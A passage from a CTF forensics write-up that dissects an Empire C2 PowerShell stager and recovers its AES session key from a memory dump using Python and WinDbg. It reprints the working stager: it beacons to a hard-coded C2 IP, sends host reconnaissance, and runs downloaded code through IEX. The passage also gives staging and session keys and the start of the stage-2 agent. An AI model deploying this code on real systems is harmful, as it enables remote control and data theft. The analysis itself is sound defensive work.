@{$true=$p[0];$false=$p}[$p.Length -lt 6];if(!$ip -or $ip.trim() -eq '') {$ip='0.0.0.0'};$i+="|$ip";try{$i+='|'+(Get-WmiObject Win32_OperatingSystem).Name.split('|')[0];}catch{$i+='|'+'[FAILED]'}if(([Environment]::UserName).ToLower() -eq "system"){$i+="|True"}else {$i += '|' +([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")}$n=[System.Diagnostics.Process]::GetCurrentProcess();$i+='|'+$n.ProcessName+'|'+$n.Id;$i += "|powershell|" + $PSVersionTable.PSVersion.Major;$i += "|" + $env:PROCESSOR_ARCHITECTURE;$ib2=$e.getbytes($i);$eb2=$IV+$AES.CreateEncryptor().TransformFinalBlock($ib2,0,$ib2.Length);$hmac.Key = $e.GetBytes($key);$eb2 = $eb2+$hmac.ComputeHash($eb2)[0..9];$IV2=[BitConverter]::GetBytes($(Get-Random));$data2 = $e.getbytes($ID) + @(0x01,0x03,0x00,0x00) + [BitConverter]::GetBytes($eb2.Length);$rc4p2 = ConvertTo-RC4ByteStream -RCK $($IV2+$SKB) -In $data2;$rc4p2 = $IV2 + $rc4p2 + $eb2;if ($customHeaders -ne "") {$headers = $customHeaders -split ',';$headers | ForEach-Object {$headerKey = $_.split(':')[0];$headerValue = $_.split(':')[1];if ($headerKey -eq "host"){try{$ig=$WC.DownloadData($s)}catch{}};$wc.Headers.Add($headerKey, $headerValue);}}$wc.Headers.Add("User-Agent",$UA);$wc.Headers.Add("Hop-Name",$hop);$raw=$wc.UploadData($s+"/admin/get.php", "POST", $rc4p2);IEX $( $e.GetString($(Decrypt-Bytes -Key $key -In $raw)) );$AES=$null;$s2=$null;$wc=$null;$eb2=$null;$raw=$null;$IV=$null;$wc=$null;$i=$null;$ib2=$null;[GC]::Collect();LRFT7 -Servers @(($s -split "/")[0..2] -join "/") -StagingKey $SK -SessionKey $key -SessionID $ID -WorkingHours "" -KillDate "" -ProxySettings $Script:Proxy;}Start-Negotiate -s "$ser" -SK 'ewtVZiN~5)13Cx.M@oOJyp^G>TRWq(#b' -UA $u -hop "$hop";

after reformating it so we can understand

$server = "http://77.74.198.52:8083"
$Script:ControlServers = @($server)
$Script:ServerIndex = 0

if ($server.StartsWith('https')) {
    [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
}

$Script:SendMessage = {
    param($Packets)
    if ($Packets) {
        $EncBytes = Encrypt-Bytes $Packets
        $RoutingPacket = New-RoutingPacket -EncData $EncBytes -Meta 5
        if ($Script:ControlServers[$Script:ServerIndex].StartsWith('http')) {
            $wc = New-Object System.Net.WebClient
            $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy()
            $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials
            if ($Script:Proxy) {
                $wc.Proxy = $Script:Proxy
            }
            $wc.Headers.Add('User-Agent', $Script:UserAgent)
            $Script:Headers.GetEnumerator() | ForEach-Object {
                $wc.Headers.Add($_.Name, $_.Value)
            }
            try {
                $taskURI = $Script:TaskURIs | Get-Random
                $response = $wc.UploadData($Script:ControlServers[$Script:ServerIndex] + $taskURI, 'POST', $RoutingPacket)
            }
            catch [System.Net.WebException] {
                if ($_.Exception.GetBaseException().Response.statuscode -eq 401) {
                    Start-Negotiate -S "$ser" -SK $SK -UA $ua
                }
            }
        }
    }
}

$Script:GetTask = {
    try {
        if ($Script:ControlServers[$Script:ServerIndex].StartsWith("http")) {
            $RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4
            $RoutingCookie = [Convert]::ToBase64String($RoutingPacket)
            $wc = New-Object System.Net.WebClient
            $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy()
            $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials
            if ($Script:Proxy) {
                $wc.Proxy = $Script:Proxy
            }
            $wc.Headers.Add("User-Agent", $script:UserAgent)
            $script:Headers.GetEnumerator() | % {
                $wc.Headers.Add($_.Name, $_.Value)
            }
            $wc.Headers.Add("Cookie", "session=$RoutingCookie")
            $taskURI = $script:TaskURIs | Get-Random
            $result = $wc.DownloadData($Script:ControlServers[$Script:ServerIndex] + $taskURI)
            $result
        }
    }
    catch [Net.WebException] {
        $script:MissedCheckins += 1
        if ($_.Exception.GetBaseException().Response.statuscode -eq 401) {
            Start-Negotiate -S "$ser" -SK $SK -UA $ua
        }
    }
}

function Start-Negotiate {
    param(
        $s,
        $SK,
        $UA = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko',
        $hop
    )

    function ConvertTo-RC4ByteStream {
        Param ($RCK, $In)
        begin {
            [Byte[]] $Str = 0..255
            $J = 0
            0..255 | ForEach-Object {
                $J = ($J + $Str[$_] + $RCK[$_ % $RCK.Length]) % 256
                $Str[$_], $Str[$J] = $Str[$J], $Str[$_]
            }
            $I = $J = 0
        }
        process {
            ForEach ($Byte in $In) {
                $I = ($I + 1) % 256
                $J = ($J + $Str[$I]) % 256
                $Str[$I], $Str[$J] = $Str[$J], $Str[$I]
                $Byte -bxor $Str[($Str[$I] + $Str[$J]) % 256]
            }
        }
    }

    function Decrypt-Bytes {
        param ($Key, $In)
        if ($In.Length -gt 32) {
            $HMAC = New-Object System.Security.Cryptography.HMACSHA256
            $e = [System.Text.Encoding]::ASCII
            $Mac = $In[-10..-1]
            $In = $In[0..($In.length - 11)]
            $hmac.Key = $e.GetBytes($Key)
            $Expected = $hmac.ComputeHash($In)[0..9]
            if (@(Compare-Object $Mac $Expected -Sync 0).Length -ne 0) {
                return
            }
            $IV = $In[0..15]
            try {
                $AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider
            }
            catch {
                $AES = New-Object System.Security.Cryptography.RijndaelManaged
            }
            $AES.Mode = "CBC"
            $AES.Key = $e.GetBytes($Key)
            $AES.IV = $IV
            ($AES.CreateDecryptor()).TransformFinalBlock(($In[16..$In.length]), 0, $In.Length - 16)
        }
    }

    $Null = [Reflection.Assembly]::LoadWithPartialName("System.Security")
    $Null = [Reflection.Assembly]::LoadWithPartialName("System.Core")
    $ErrorActionPreference = "SilentlyContinue"
    $e = [System.Text.Encoding]::UTF8
    $customHeaders = ""
    $SKB = $e.GetBytes($SK)

    try {
        $AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider
    }
    catch {
        $AES = New-Object System.Security.Cryptography.RijndaelManaged
    }
    $IV = [byte] 0..255 | Get-Random -count 16
    $AES.Mode = "CBC"
    $AES.Key = $SKB
    $AES.IV = $IV
    $hmac = New-Object System.Security.Cryptography.HMACSHA256
    $hmac.Key = $SKB
    $csp = New-Object System.Security.Cryptography.CspParameters
    $csp.Flags = $csp.Flags -bor [System.Security.Cryptography.CspProviderFlags]::UseMachineKeyStore
    $rs = New-Object System.Security.Cryptography.RSACryptoServiceProvider -ArgumentList 2048, $csp
    $rk = $rs.ToXmlString($False)
    $ID = -join ("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray() | Get-Random -Count 8)
    $ib = $e.getbytes($rk)
    $eb = $IV + $AES.CreateEncryptor().TransformFinalBlock($ib, 0, $ib.Length)
    $eb = $eb + $hmac.ComputeHash($eb)[0..9]

    if (-not $wc) {
        $wc = New-Object System.Net.WebClient
        $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy()
        $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials
    }
    if ($Script:Proxy) {
        $wc.Proxy = $Script:Proxy
    }
    if ($customHeaders -ne "") {
        $headers = $customHeaders -split ','
        $headers | ForEach-Object {
            $headerKey = $_.split(':')[0]
            $headerValue = $_.split(':')[1]
            if ($headerKey -eq "host") {
                try {
                    $ig = $WC.DownloadData($s)
                }
                catch {}
            }
            $wc.Headers.Add($headerKey, $headerValue)
        }
    }
    $wc.Headers.Add("User-Agent", $UA)
    $IV = [BitConverter]::GetBytes($(Get-Random))
    $data = $e.getbytes($ID) + @(0x01, 0x02, 0x00, 0x00) + [BitConverter]::GetBytes($eb.Length)
    $rc4p = ConvertTo-RC4ByteStream -RCK $($IV + $SKB) -In $data
    $rc4p = $IV + $rc4p + $eb
    $raw = $wc.UploadData($s + "/login/process.php", "POST", $rc4p)
    $de = $e.GetString($rs.decrypt($raw, $false))
    $nonce = $de[0..15] -join ''
    $key = $de[16..$de.length] -join ''
    $nonce = [String]([long]$nonce + 1)

    try {
        $AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider
    }
    catch {
        $AES = New-Object System.Security.Cryptography.RijndaelManaged
    }
    $IV = [byte] 0..255 | Get-Random -Count 16
    $AES.Mode = "CBC"
    $AES.Key = $e.GetBytes($key)
    $AES.IV = $IV
    $i = $nonce + '|' + $s + '|' + [Environment]::UserDomainName + '|' + [Environment]::UserName + '|' + [Environment]::MachineName
    try {
        $p = (gwmi Win32_NetworkAdapterConfiguration | Where { $_.IPAddress } | Select -Expand IPAddress)
    }
    catch {
        $p = "[FAILED]"
    }
    $ip = @{$true = $p[0]; $false = $p }[$p.Length -lt 6]
    if (!$ip -or $ip.trim() -eq '') {
        $ip = '0.0.0.0'
    }
    $i += "|$ip"
    try {
        $i += '|' + (Get-WmiObject Win32_OperatingSystem).Name.split('|')[0]
    }
    catch {
        $i += '|' + '[FAILED]'
    }
    if (([Environment]::UserName).ToLower() -eq "system") {
        $i += "|True"
    }
    else {
        $i += '|' + ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
    }
    $n = [System.Diagnostics.Process]::GetCurrentProcess()
    $i += '|' + $n.ProcessName + '|' + $n.Id
    $i += "|powershell|" + $PSVersionTable.PSVersion.Major
    $i += "|" + $env:PROCESSOR_ARCHITECTURE
    $ib2 = $e.getbytes($i)
    $eb2 = $IV + $AES.CreateEncryptor().TransformFinalBlock($ib2, 0, $ib2.Length)
    $hmac.Key = $e.GetBytes($key)
    $eb2 = $eb2 + $hmac.ComputeHash($eb2)[0..9]
    $IV2 = [BitConverter]::GetBytes($(Get-Random))
    $data2 = $e.getbytes($ID) + @(0x01, 0x03, 0x00, 0x00) + [BitConverter]::GetBytes($eb2.Length)
    $rc4p2 = ConvertTo-RC4ByteStream -RCK $($IV2 + $SKB) -In $data2
    $rc4p2 = $IV2 + $rc4p2 + $eb2

    if ($customHeaders -ne "") {
        $headers = $customHeaders -split ','
        $headers | ForEach-Object {
            $headerKey = $_.split(':')[0]
            $headerValue = $_.split(':')[1]
            if ($headerKey -eq "host") {
                try {
                    $ig = $WC.DownloadData($s)
                }
                catch {}
            }
            $wc.Headers.Add($headerKey, $headerValue)
        }
    }
    $wc.Headers.Add("User-Agent", $UA)
    $wc.Headers.Add("Hop-Name", $hop)
    $raw = $wc.UploadData($s + "/admin/get.php", "POST", $rc4p2)
    IEX $($e.GetString($(Decrypt-Bytes -Key $key -In $raw)))
    $AES = $null
    $s2 = $null
    $wc = $null
    $eb2 = $null
    $raw = $null
    $IV = $null
    $wc = $null
    $i = $null
    $ib2 = $null
    [GC]::Collect()
    LRFT7 -Servers @(($s -split "/")[0..2] -join "/") -StagingKey $SK -SessionKey $key -SessionID $ID -WorkingHours "" -KillDate "" -ProxySettings $Script:Proxy
}

Start-Negotiate -s "$ser" -SK 'ewtVZiN~5)13Cx.M@oOJyp^G>TRWq(#b' -UA $u -hop "$hop"

So let’s breakdown the code

Server Configuration

$server = "http://77.74.198.52:8083"
$Script:ControlServers = @($server)
$Script:ServerIndex = 0

if ($server.StartsWith('https')) {
    [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
}

Sets up the C2 server address and disacble Https certificate validation

Sending Data Function

This function is responsible for sending encrypted data to the C2 server

$Script:SendMessage = {
    param($Packets)
    if ($Packets) {
        $EncBytes = Encrypt-Bytes $Packets
        $RoutingPacket = New-RoutingPacket -EncData $EncBytes -Meta 5
        if ($Script:ControlServers[$Script:ServerIndex].StartsWith('http')) {
            $wc = New-Object System.Net.WebClient
            $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy()
            $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials
            if ($Script:Proxy) {
                $wc.Proxy = $Script:Proxy
            }
            $wc.Headers.Add('User-Agent', $Script:UserAgent)
            $Script:Headers.GetEnumerator() | ForEach-Object {
                $wc.Headers.Add($_.Name, $_.Value)
            }
            try {
                $taskURI = $Script:TaskURIs | Get-Random
                $response = $wc.UploadData(
                    $Script:ControlServers[$Script:ServerIndex] + $taskURI,
                    'POST',
                    $RoutingPacket
                )
            }
            catch [System.Net.WebException] {
                if ($_.Exception.GetBaseException().Response.statuscode -eq 401) {
                    Start-Negotiate -S "$ser" -SK $SK -UA $ua
                }
            }
        }
    }
}

it takes raw data encrypts it, wraps it in a routing packet, and sends it via HTTP POST to a random endpoint

Getting Tasks from the C2 Server

This function polls the C2 server for new commands

$Script:GetTask = {
    try {
        if ($Script:ControlServers[$Script:ServerIndex].StartsWith("http")) {
            $RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4
            $RoutingCookie = [Convert]::ToBase64String($RoutingPacket)
            $wc = New-Object System.Net.WebClient
            $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy()
            $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials
            if ($Script:Proxy) {
                $wc.Proxy = $Script:Proxy
            }
            $wc.Headers.Add("User-Agent", $script:UserAgent)
            $script:Headers.GetEnumerator() | % {
                $wc.Headers.Add($_.Name, $_.Value)
            }
            $wc.Headers.Add("Cookie", "session=$RoutingCookie")
            $taskURI = $script:TaskURIs | Get-Random
            $result = $wc.DownloadData(
                $Script:ControlServers[$Script:ServerIndex] + $taskURI
            )
            $result
        }
    }
    catch [Net.WebException] {
        $script:MissedCheckins += 1
        if ($_.Exception.GetBaseException().Response.statuscode -eq 401) {
            Start-Negotiate -S "$ser" -SK $SK -UA $ua
        }
    }
}

It sends an empty routing packet encoded as a base64 cookie, then downloads whatever the server sends back. The response is the encrypted payload (discussed later), which is then executed as a PowerShell script

RC4 stream cipher helper

This is the same RC4 used in stage 0, and it is also used to encrypt the header. I will explain that in more detail later

function ConvertTo-RC4ByteStream {
    Param ($RCK, $In)
    begin {
        [Byte[]] $Str = 0..255
        $J = 0
        0..255 | ForEach-Object {
            $J = ($J + $Str[$_] + $RCK[$_ % $RCK.Length]) % 256
            $Str[$_], $Str[$J] = $Str[$J], $Str[$_]
        }
        $I = $J = 0
    }
    process {
        ForEach ($Byte in $In) {
            $I = ($I + 1) % 256
            $J = ($J + $Str[$I]) % 256
            $Str[$I], $Str[$J] = $Str[$J], $Str[$I]
            $Byte -bxor $Str[($Str[$I] + $Str[$J]) % 256]
        }
    }
}

AES decryption helper

Decrypts data using AES-CBC with HMAC-SHA256

function Decrypt-Bytes {
    param ($Key, $In)
    if ($In.Length -gt 32) {
        $HMAC = New-Object System.Security.Cryptography.HMACSHA256
        $e = [System.Text.Encoding]::ASCII
        $Mac = $In[-10..-1]
        $In = $In[0..($In.length - 11)]
        $hmac.Key = $e.GetBytes($Key)
        $Expected = $hmac.ComputeHash($In)[0..9]
        if (@(Compare-Object $Mac $Expected -Sync 0).Length -ne 0) {
            return
        }
        $IV = $In[0..15]
        try {
            $AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider
        }
        catch {
            $AES = New-Object System.Security.Cryptography.RijndaelManaged
        }
        $AES.Mode = "CBC"
        $AES.Key = $e.GetBytes($Key)
        $AES.IV = $IV
        ($AES.CreateDecryptor()).TransformFinalBlock(
            ($In[16..$In.length]), 0, $In.Length - 16
        )
    }
}

The encrypted packet structure is: [16 bytes IV] + [encrypted payload] + [10 bytes HMAC].

The rest of the Start-Negotiate function

  • creates an RSA key pair
  • encrypts the RSA key with AES using the staging key ewtVZiN~5)13Cx.M@oOJyp^G>TRWq(#b
  • sends it in a POST request to /login/process.php with the RC4-encrypted headers
  • receives the server response and decrypts it with the RSA private key to recover the session key
  • after reconnaissance, it encrypts the information it has gathered (server URL, domain, hostname, IP, OS, admin status, PID, and so on) and sends it to the C2 via /admin/get.php
  • after receiving a task, it decrypts it and executes it via IEX, then hands control to LRFT7, which is the main function of the next stage

About Empire packet structure

During the CTF, I skipped a lot of details and did not fully understand the attack until later. After researching the malware and reading a few blog posts about the Empire C2 protocol and encryption logic, I gained a better understanding of the packet structure. Relevant references: Keysight blog and EmpireProject/Empire encryption code.

Empire’s encryption algorithm | Stage | Encryption | Key Used | Purpose | | ———– | ——————————— | ——————————————— | ————————- | | Stage 0 | RC4 | Staging Key | Initial check-in / cookie | | Stage 1 | RC4 (header) + AES-256-CBC (body) | Staging Key (RC4) / Staging Key (AES) | RSA key exchange setup | | Stage 2 | RC4 (header) + AES-256-CBC (body) | Staging Key (RC4) / Session Key (AES) | System info + agent code | | Runtime | RC4 (header) + AES-256-CBC (body) | Staging Key (RC4) / Session Key (AES) | All task/result traffic |

The exact packet structure Empire packets follow this structure:

  • RC4-encrypted header is 20 bytes long
    • 4 bytes: packet length
    • 4 bytes: session ID
    • 1 byte: stage identifier
    • 2 bytes: extra data length
    • 9 bytes: reserved / timestamp
  • AES-256-CBC encrypted body
    • 16 bytes: IV
    • N bytes: ciphertext (PKCS7 padded)

Stage identifiers

  • Value = 1 -> STAGE 0: Initial stager check-in
  • Value = 2 -> STAGE 1: RSA public key exchange
  • Value = 3 -> STAGE 2: System info + agent download
  • Value = 4 -> TASKING REQUEST
  • Value = 5 -> RESULT POST
  • Value = 6 -> SERVER RESPONSE: C2 sending task

Summary

At this point, we have a full picture of how the later stages work and how to decrypt them. The next challenge is to recover the AES session key used to encrypt and decrypt the later-stage traffic and server tasks.

If I could recover the private key from memory, I could decrypt the /login/process.php handshake packet with AES using the staging key ewtVZiN~5)13Cx.M@oOJyp^G>TRWq(#b, then use the RSA private key to decrypt the response and recover the session key.

Brute forcing with Python

If we are lucky, it may still be present in the memory dump. This is what I did

The .NET AesCryptoServiceProvider only accepts 16/24/32-byte keys, so we can search the dump for the correct key. This is the script I used:

import hmac
import hashlib
import re
import sys

VALID_LENGTHS = (16, 24, 32)
ASCII_RUN = re.compile(rb'[\x20-\x7E]{16,64}')
UTF16_RUN = re.compile(rb'(?:[\x20-\x7E]\x00){16,64}')

def verify_key(data, key_bytes):
    if len(data) <= 32:
        return False
    mac = data[-10:]
    body = data[:-10]
    expected = hmac.new(key_bytes, body, hashlib.sha256).digest()[:10]
    return hmac.compare_digest(mac, expected)

def ascii_candidates(dump):
    for m in ASCII_RUN.finditer(dump):
        run = m.group()
        if len(run) in VALID_LENGTHS:
            yield run

def utf16_candidates(dump):
    for m in UTF16_RUN.finditer(dump):
        chars = m.group()[0::2]
        if len(chars) in VALID_LENGTHS:
            yield chars

with open('powershell.DMP', 'rb') as f:
    dump = f.read()
with open('admin_get_php_response.bin', 'rb') as f:
    data = f.read()

seen = set()
for cand in list(ascii_candidates(dump)) + list(utf16_candidates(dump)):
    if cand in seen:
        continue
    seen.add(cand)
    if verify_key(data, cand):
        print('FOUND', cand)
        sys.exit(0)

FOUND b’d%~gc_:vhZP+.VHWsolQEz1}ICKma;D@’

With WinDbg

We know the Empire staging key, but we do not yet know the AES/HMAC session key

So I first followed the PowerShell stager logic to understand what object should exist in memory

The negotiation code decrypts the C2 response using the locally generated RSA private key:

$de = $e.GetString($rs.decrypt($raw,$false))
$nonce = $de[0..15] -join ''
$key = $de[16..$de.length] -join ''
...
LRFT7 -Servers ... -StagingKey $SK -SessionKey $key -SessionID $ID

This proves that $de is a .NET string containing:

[16-character nonce][32-character session key]

The key is then passed to the long-running LRFT7 agent and used by both AES-CBC and HMAC-SHA256:

$AES.Key = $Encoding.GetBytes($SessionKey)
$HMAC.Key = $Encoding.GetBytes($SessionKey)

img img

I tried many times to find and search around those addresses, but I did not find the key value

I was trying to inspect the memory around it, but I could not find anything. After asking an LLM, it suggested that we search for a specific length because we know from the code that the server response must be 48 characters long: 16 characters for the nonce plus 32 for the session key. We can search by size in WinDbg and inspect only the hits around the region of the code we saw

To do that, we need to find the System.String method table img

The System.String MethodTable must be written in little-endian byte order in a raw memory search:

00007fff9d0c59c0 --> c0 59 0c 9d ff 7f 00 00

I searched for a System.String object whose length was 0x30 (48 decimal). With help from an LLM, I used this command to search:

.foreach (h {s -[1]b 0 L?7fffffffffffffff c0 59 0c 9d ff 7f 00 00 30 00 00 00}) { .echo ${h}; du ${h}+c L30 }
  • s searches virtual memory
  • -[1]b searches byte values and prints only matching addresses
  • 30 00 00 00 means String.Length = 0x30 = 48
  • ${h}+c moves from the object base to m_firstChar
  • du displays UTF-16 text
  • L30 displays 48 Unicode characters
    0:000> .foreach (h {s -[1]b 0 L?7fffffffffffffff c0 59 0c 9d ff 7f 00 00 30 00 00 00}) { .echo ${h}; du ${h}+c L30 }
    0x000001a3`cb177d38
    000001a3`cb177d44  "System.Diagnostics.Eventing.Fram"
    000001a3`cb177d84  "eworkEventSource"
    0x000001a3`cb1baf70
    000001a3`cb1baf7c  "System.Security.Cryptography.Asy"
    000001a3`cb1bafbc  "mmetricAlgorithm"
    0x000001a3`cb1fc378
    000001a3`cb1fc384  "Maximum number of variables allo"
    000001a3`cb1fc3c4  "wed in a session"
    0x000001a3`cb1fc668
    000001a3`cb1fc674  "Maximum number of functions allo"
    000001a3`cb1fc6b4  "wed in a session"
    0x000001a3`cb25fdb8
    000001a3`cb25fdc4  "System.Security.AccessControl.Fi"
    000001a3`cb25fe04  "leSystemSecurity"
    0x000001a3`cb28e1e0
    000001a3`cb28e1ec  "System.Management.Automation.Run"
    000001a3`cb28e22c  "spaces.PSSession"
    0x000001a3`cb28e948
    000001a3`cb28e954  "Microsoft.PowerShell.Commands.Gr"
    000001a3`cb28e994  "oupInfoNoElement"
    0x000001a3`cb28f590
    000001a3`cb28f59c  "Microsoft.PowerShell.Commands.Co"
    000001a3`cb28f5dc  "mputerChangeInfo"
    0x000001a3`cb2a66b8
    000001a3`cb2a66c4  "Microsoft.PowerShell.Commands.Ge"
    000001a3`cb2a6704  "nericMeasureInfo"
    0x000001a3`cb2b5278
    000001a3`cb2b5284  "System.DirectoryServices.Propert"
    000001a3`cb2b52c4  "yValueCollection"
    0x000001a3`cb2b7170
    000001a3`cb2b717c  "$this.Mainmodule.FileVersionInfo"
    000001a3`cb2b71bc  ".FileDescription"
    0x000001a3`cb389308
    000001a3`cb389314  "result = {0}; isDriveRoot = {1};"
    000001a3`cb389354  " isUNCRoot = {2}"
    0x000001a3`cb3b3920
    000001a3`cb3b392c  "Exception finding IEnumerable co"
    000001a3`cb3b396c  "nversion: "{0}"."
    0x000001a3`cb3d4820
    000001a3`cb3d482c  "System.Object Item(System.Object"
    000001a3`cb3d486c  " key) {get;set;}"
    0x000001a3`cb3f06f8
    000001a3`cb3f0704  "Microsoft\Windows\PowerShell\Mod"
    000001a3`cb3f0744  "uleAnalysisCache"
    0x000001a3`cb43dd38
    000001a3`cb43dd44  "Trying to convert argument value"
    000001a3`cb43dd84  " from {0} to {1}"
    0x000001a3`cb43e6c0
    000001a3`cb43e6cc  "Adding element of type {0} to ar"
    000001a3`cb43e70c  "ray position {1}"
    0x000001a3`cb74bf30
    000001a3`cb74bf3c  "6486863263721433d%~gc_:vhZP+.VHW"
    000001a3`cb74bf7c  "solQEz1}ICKma;D@"
    

    This is the recovered key: d%~gc_:vhZP+.VHWsolQEz1}ICKma;D@

Stage 2 breakdown

We now return to the PCAP file to find the packet we need to decrypt. img img img img

I extracted the 42 KB packet (from stream 5) and saved it as stage_2_encrypted.ps1

I then used the following script to decrypt it:

import sys
import hashlib
import hmac
from Crypto.Cipher import AES

DEFAULT_SESSION_KEY = b'd%~gc_:vhZP+.VHWsolQEz1}ICKma;D@'


def decrypt(data: bytes, key: bytes = DEFAULT_SESSION_KEY) -> bytes:
    if len(data) <= 32:
        raise ValueError('Data too short to be valid')
    iv = data[:16]
    ciphertext = data[16:-10]
    mac = data[-10:]
    expected = hmac.new(key, data[:-10], hashlib.sha256).digest()[:10]
    if not hmac.compare_digest(mac, expected):
        raise ValueError('HMAC verification failed; wrong key or corrupted file')
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return cipher.decrypt(ciphertext)


def main():
    if len(sys.argv) < 2:
        print('Usage: python3 file.py <file_to_decrypt> [session_key]')
        sys.exit(1)

    path = sys.argv[1]
    key = sys.argv[2].encode('ascii') if len(sys.argv) > 2 else DEFAULT_SESSION_KEY

    with open(path, 'rb') as f:
        data = f.read()

    plaintext = decrypt(data, key)
    sys.stdout.buffer.write(plaintext)


if __name__ == '__main__':
    main()

img

function LRFT7 {
    param(
        [Parameter(Mandatory=$true)]
        [String]
        $StagingKey,
        [Parameter(Mandatory=$true)]
        [String]
        $SessionKey,
        [Parameter(Mandatory=$true)]
        [String]
        $SessionID,
        [Int32]
        $AgentDelay = 5,
        [Double]
        $AgentJitter = 0.0,
        [String[]]
        $Servers,
        [String]
        $KillDate,
        [Int32]
        $KillDays,
        [String]
        $WorkingHours,
        [object]
        $ProxySettings,
        [String]
        $Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
        [Int32]
        $LostLimit = 60,
        [String]
        $DefaultResponse = "PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgU3RyaWN0Ly9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQiPgo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+CjxoZWFkPgogICAgPG1ldGEgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTEiIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIvPgogICAgPHRpdGxlPjQwNCAtIEZpbGUgb3IgZGlyZWN0b3J5IG5vdCBmb3VuZC48L3RpdGxlPgogICAgPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KPCEtLQpib2R5e21hcmdpbjowO2ZvbnQtc2l6ZTouN2VtO2ZvbnQtZmFtaWx5OlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7YmFja2dyb3VuZDojRUVFRUVFO30KZmllbGRzZXR7cGFkZGluZzowIDE1cHggMTBweCAxNXB4O30gCmgxe2ZvbnQtc2l6ZToyLjRlbTttYXJnaW46MDtjb2xvcjojRkZGO30KaDJ7Zm9udC1zaXplOjEuN2VtO21hcmdpbjowO2NvbG9yOiNDQzAwMDA7fSAKaDN7Zm9udC1zaXplOjEuMmVtO21hcmdpbjoxMHB4IDAgMCAwO2NvbG9yOiMwMDAwMDA7fSAKI2hlYWRlcnt3aWR0aDo5NiU7bWFyZ2luOjAgMCAwIDA7cGFkZGluZzo2cHggMiUgNnB4IDIlO2ZvbnQtZmFtaWx5OiJ0cmVidWNoZXQgTVMiLCBWZXJkYW5hLCBzYW5zLXNlcmlmO2NvbG9yOiNGRkY7CmJhY2tncm91bmQtY29sb3I6IzU1NTU1NTt9CiNjb250ZW50e21hcmdpbjowIDAgMCAyJTtwb3NpdGlvbjpyZWxhdGl2ZTt9Ci5jb250ZW50LWNvbnRhaW5lcntiYWNrZ3JvdW5kOiNGRkY7d2lkdGg6OTYlO21hcmdpbi10b3A6OHB4O3BhZGRpbmc6MTBweDtwb3NpdGlvbjpyZWxhdGl2ZTt9Ci0tPgogICAgPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KPGRpdiBpZD0iaGVhZGVyIj48aDE+U2VydmVyIEVycm9yPC9oMT48L2Rpdj4KPGRpdiBpZD0iY29udGVudCI+CiAgICA8ZGl2IGNsYXNzPSJjb250ZW50LWNvbnRhaW5lciI+CiAgICAgICAgPGZpZWxkc2V0PgogICAgICAgICAgICA8aDI+NDA0IC0gRmlsZSBvciBkaXJlY3Rvcnkgbm90IGZvdW5kLjwvaDI+CiAgICAgICAgICAgIDxoMz5UaGUgcmVzb3VyY2UgeW91IGFyZSBsb29raW5nIGZvciBtaWdodCBoYXZlIGJlZW4gcmVtb3ZlZCwgaGFkIGl0cyBuYW1lIGNoYW5nZWQsIG9yIGlzIHRlbXBvcmFyaWx5CiAgICAgICAgICAgICAgICB1bmF2YWlsYWJsZS48L2gzPgogICAgICAgIDwvZmllbGRzZXQ+CiAgICA8L2Rpdj4KPC9kaXY+CjwvYm9keT4KPC9odG1sPg=="
    )
    $Encoding = [System.Text.Encoding]::ASCII
    $HMAC = New-Object System.Security.Cryptography.HMACSHA256
    $script:AgentDelay = $AgentDelay
    $script:AgentJitter = $AgentJitter
    $script:LostLimit = $LostLimit
    $script:MissedCheckins = 0
    $script:ResultIDs = @{}
    $script:WorkingHours = $WorkingHours
    $script:DefaultResponse = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DefaultResponse))
    $script:Proxy = $ProxySettings
    $script:CurrentListenerName = ""
    $Script:ServerIndex = 0
    $Script:ControlServers = $Servers
    $Retries = 1
    if($KillDays) {
        $script:KillDate = (Get-Date).AddDays($KillDays).ToString('MM/dd/yyyy')
    }
    if($KillDate -ne "REPLACE_KILLDATE" -and $KillDate -ne $null) {
        $script:KillDate = $KillDate
    }
    $ProfileParts = $Profile.split('|')
    $script:TaskURIs = $ProfileParts[0].split(',')
    $script:UserAgent = $ProfileParts[1]
    $script:SessionID = $SessionID
    $script:Headers = @{}
    if($ProfileParts[2]) {
        $ProfileParts[2..$ProfileParts.length] | ForEach-Object {
            $Parts = $_.Split(':')
            $script:Headers.Add($Parts[0],$Parts[1])
        }
    }
    $Script:Jobs = @{}
